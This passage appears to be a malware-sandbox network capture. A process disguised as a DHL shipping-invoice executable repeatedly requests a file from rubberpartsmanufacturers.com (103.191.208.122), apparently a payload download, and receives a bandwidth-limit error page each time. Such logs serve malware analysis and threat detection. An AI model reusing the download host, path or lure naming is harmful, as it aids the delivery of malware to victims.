2024-10-17 08:52:35 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49753	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:36 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:36 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:36 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:36 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49767	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:37 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:38 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:38 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:38 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49778	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:39 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:39 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:39 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:39 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49785	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:40 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:41 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:41 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:41 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49795	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:42 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:42 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:42 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:42 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49802	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:43 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:44 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:44 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:44 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49813	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:45 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:45 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:45 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:45 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49823	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:46 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:47 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:47 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:47 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49830	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:48 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:48 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:48 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:48 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49842	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:49 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:50 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:50 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:50 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49852	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:51 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:51 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:51 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:51 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49859	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:52 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:53 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:53 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:53 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49869	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:54 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:54 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:54 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:54 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49876	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:55 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:56 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:56 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:56 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49887	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:57 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
